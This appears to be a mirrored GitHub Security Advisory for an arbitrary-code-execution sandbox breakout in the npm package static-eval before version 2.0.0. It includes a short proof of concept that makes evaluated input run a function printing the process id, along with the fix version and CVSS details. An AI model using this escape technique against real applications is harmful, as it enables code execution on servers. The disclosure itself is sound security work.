Loading HuntDB...

GHSA-5mjw-6jrh-hvfq

GitHub Security Advisory

Sandbox Breakout / Arbitrary Code Execution in static-eval

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

## Proof of concept
```js
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id
```

## Recommendation

Update to version 2.0.0 or later.

Affected Packages

npm static-eval
Affected versions: 0 (fixed in 2.0.0)

Related CVEs

Key Information

GHSA ID
GHSA-5mjw-6jrh-hvfq
Published
August 6, 2018 9:37 PM
Last Modified
September 11, 2023 4:18 PM
CVSS Score
5.0 /10
Primary Ecosystem
npm
Primary Package
static-eval
GitHub Reviewed
✓ Yes

Dataset

Last updated: July 4, 2025 6:27 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.